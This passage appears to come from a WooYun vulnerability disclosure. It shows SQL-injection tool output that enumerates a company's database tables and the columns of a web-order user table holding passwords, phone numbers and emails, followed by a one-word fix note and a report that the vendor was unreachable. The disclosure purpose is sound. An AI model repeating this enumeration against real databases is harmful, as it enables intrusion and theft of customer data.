| Proc_Sync_开业返款 |
| Proc_Sync_开业返款流程 |
| Proc_Sync_总公司费用报销 |
| Proc_Sync_总裁信箱 |
| Proc_Sync_总裁信箱流程2 |
| Proc_Sync_总裁信箱流程2 |
| Proc_Sync_总裁信箱流程V2 |
| Proc_Sync_总裁信箱流程V3 |
| Proc_Sync_总部促销活动方案签批和报审流程 |
| Proc_Sync_总部促销活动方案签批和报审流程v1 |
| Proc_Sync_总部借款流程v1 |
| Proc_Sync_总部差旅费报销流程v1 |
| Proc_Sync_总部费用报销流程v1 |
| Proc_Sync_成品下线确定流程 |
| Proc_Sync_投诉与反馈流程 |
| Proc_Sync_投诉与反馈流程v1 |
| Proc_Sync_招商加盟 |
| Proc_Sync_新产品价格制定流程 |
| Proc_Sync_新产品推广流程 |
| Proc_Sync_新产品研发流程 |
| Proc_Sync_新产品试生产流程 |
| Proc_Sync_新产品需求流程 |
| Proc_Sync_新系列模式店包装流程 |
| Proc_Sync_月总结 |
| Proc_Sync_权限申请流程 |
| Proc_Sync_测试2 |
| Proc_Sync_测试子流程触发 |
| Proc_Sync_测试摘要 |
| Proc_Sync_消费者投诉与反馈流程 |
| Proc_Sync_消费者投诉与反馈流程v1 |
| Proc_Sync_渠道建店流程 |
| Proc_Sync_渠道设计部内部审核流程 |
| Proc_Sync_爆破支持流程 |
| Proc_Sync_物料流程1 |
| Proc_Sync_物料流程1 |
| Proc_Sync_物料认证流程 |
| Proc_Sync_物料退货 |
| Proc_Sync_物料退货流程 |
| Proc_Sync_物料配发流程 |
| Proc_Sync_物料采购发放流程v1 |
| Proc_Sync_物料饰品配发流程 |
| Proc_Sync_理化检验流程 |
| Proc_Sync_理化检验流程V1 |
| Proc_Sync_申请权限流程 |
| Proc_Sync_电商退货流程 |
| Proc_Sync_确认物料流程 |
| Proc_Sync_立项申请表流程 |
| Proc_Sync_立项申请表流程V1 |
| Proc_Sync_系统权限异动流程 |
| Proc_Sync_系统问题反馈流程 |
| Proc_Sync_经营计划书 |
| Proc_Sync_绩效差距分析 |
| Proc_Sync_绩效差距分析流程 |
| Proc_Sync_绩效总结 |
| Proc_Sync_续签合同流程Z1 |
| Proc_Sync_营销中心预算流程 |
| Proc_Sync_营销分公司借款流程2 |
| Proc_Sync_营销分公司借款流程2 |
| Proc_Sync_营销分公司借款流程v1 |
| Proc_Sync_营销分公司差旅费报销 |
| Proc_Sync_营销分公司差旅费报销V1 |
| Proc_Sync_营销分公司差旅费报销V2 |
| Proc_Sync_营销分公司差旅费报销流程 |
| Proc_Sync_营销分公司报销流程 |
| Proc_Sync_营销驻内借款流程2 |
| Proc_Sync_营销驻内借款流程2 |
| Proc_Sync_营销驻内差旅费报销流程 |
| Proc_Sync_营销驻内报销流程 |
| Proc_Sync_装修支持 |
| Proc_Sync_装修支持V2 |
| Proc_Sync_装修物料配发 |
| Proc_Sync_装修监理 |
| Proc_Sync_装修返款 |
| Proc_Sync_装修返款流程 |
| Proc_Sync_触发呆滞品处理流程 |
| Proc_Sync_触发成品下线确定流程 |
| Proc_Sync_触发新产品价格制定流程 |
| Proc_Sync_触发新产品推广流程 |
| Proc_Sync_触发新产品研发流程 |
| Proc_Sync_触发新系列模式店包装处理流程 |
| Proc_Sync_订单数量变更 |
| Proc_Sync_订票申请流程 |
| Proc_Sync_评优申报流程 |
| Proc_Sync_评优申报流程V1 |
| Proc_Sync_质量分析 |
| Proc_Sync_费用报销 |
| Proc_Sync_运营差旅费报销 |
| Proc_Sync_运营报销 |
| Proc_Sync_运营绩效管理 |
| Proc_Sync_退换货流程 |
| Proc_Sync_退换货流程子表 |
| Proc_Sync_配件申请 |
| Proc_Sync_采购监督流程 |
| Proc_Sync_重点专卖店广告投入费用报销 |
| Proc_Sync_门头设计及返款流程 |
| Proc_Sync_集团总部借款流程 |
| Proc_Sync_集团总部借款流程v1 |
| Proc_Sync_集团总部差旅费报销流程 |
| Proc_Sync_集团总部差旅费报销流程v1 |
| Proc_Sync_集团总部费用报销流程 |
| Proc_Sync_集团总部费用报销流程v1 |
| Proc_Sync_项目验收申请流程 |
| Proc_Sync_项目验收申请流程V1 |
| Proc_Sync_预算管理流程 |
| Proc_Sync_预算调整流程 |
| Proc_Sync_饰品配发 |
| Proc_Sync_饰品配发流程 |
| Proc_Sync_饰品陈列 |
| Proc_TS_JBSWLC |
| Proc_TS_TSYFK |
| Proc_TS_XTWTFK |
| Proc_TableModel |
| Proc_XP_CPXXQD |
| Proc_XP_XCPJGZD |
| Proc_XP_XCPSSC |
| Proc_XP_XCPTG |
| Proc_XP_XCPXQ_Detail |
| Proc_XP_XCPXQ_Detail |
| Proc_XP_XCPYF_Detail |
| Proc_XP_XCPYF_Detail |
| Proc_ZXJL |
| Proc_showproduct_pic |
| Prod_BrandSequence |
| Prod_ChangLog |
| Prod_ClassifySequence |
| Prod_Expand |
| Prod_Image |
| Prod_Information |
| Prod_PartInformation |
| Prod_Peijian |
| Prod_RelatedProduct |
| Prod_SFBZ |
| Prod_SeriesSequence |
| Prod_ShoppingCart |
| Prod_V_ExpandField |
| Prod_V_Imgs |
| Prod_V_ProductInfo |
| Prod_V_ProductVision |
| Product_bjq_pj |
| Product_bjq_pj |
| Promotions |
| Query_FHSms |
| Query_FinanceAudit |
| REPORTDESIGN |
| Reservation |
| Sh_Fwjs_Item |
| Sh_Fwjs_Item |
| Sync_Customer |
| Sync_Inv |
| Sync_Material |
| Sync_MatstatusInfo |
| Sync_ProductDH |
| Sync_SalesBOM |
| Sync_WebOrderUser |
| Sync_fittings_period |
| Sync_merchant_party |
| Sync_merchant_store |
| Temp_Information_Else |
| Tmp_Customer |
| Tmp_Prod_Image |
| Tmp_Prod_Information |
| Tmp_Prod_PartInformation |
| Tmp_Product |
| V_Branch |
| V_JDReport2 |
| V_JDReport2 |
| V_Proc_Sync_CX |
| V_Proc_Sync_JD |
| V_Proc_Sync_TS |
| V_Proc_Sync_XCP |
| V_Prod_Info |
| V_User |
| View_Information |
| WF_SyncTask |
| Wx_wxzf_user |
| branchTravel |
| dayCounts |
| guaranteeCardItem |
| guaranteeCard_fwjs_pj |
| guaranteeCard_fwjs_pj |
| guaranteeCard_fwjs_pj |
| proc_ApprovalRecord |
| sequencesTable |
| smsTask |
| sur_MyQuestion |
| sur_Question |
| sysdiagrams |
| temp_CreativeSpace_InnovationExpert |
| temp_CreativeSpace_InnovationInfo |
| temp_CreativeSpace_Innovationtyle |
| temp_CreativeSpace_PrizeExchange |
| temp_CreativeSpace_PrizeExchange |
| temp_CreativeSpace_StormPrize |
| wx_product_add |
| zaixianjiaoliu_item |
| zaixianjiaoliu_item |
| zaixianjiaoliu_sustain |
+-------------------------------------+
Database: UltClientDB
Table: Sync_WebOrderUser
[21 columns]
+---------------+----------+
| Column | Type |
+---------------+----------+
| ADDRESS | nvarchar |
| BOSS_NAME | nvarchar |
| BOSS_TEL | nvarchar |
| CREATE_TIME | float |
| EMAIL | nvarchar |
| MERCHANT_ID | nvarchar |
| MERCHANT_NAME | nvarchar |
| MOBILE | nvarchar |
| MODIFY_TIME | float |
| PASSWORD | nvarchar |
| QQ | nvarchar |
| SEND_ADDR | nvarchar |
| SEND_NAME | nvarchar |
| SEND_TEL | nvarchar |
| SEX | nvarchar |
| SHOPPER_NAME | nvarchar |
| SHOPPER_TEL | nvarchar |
| STATUS | nvarchar |
| USER_ID | nvarchar |
| USER_NAME | nvarchar |
| USER_TYPE | nvarchar |
+---------------+----------+


修复方案:

过滤。。。。

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝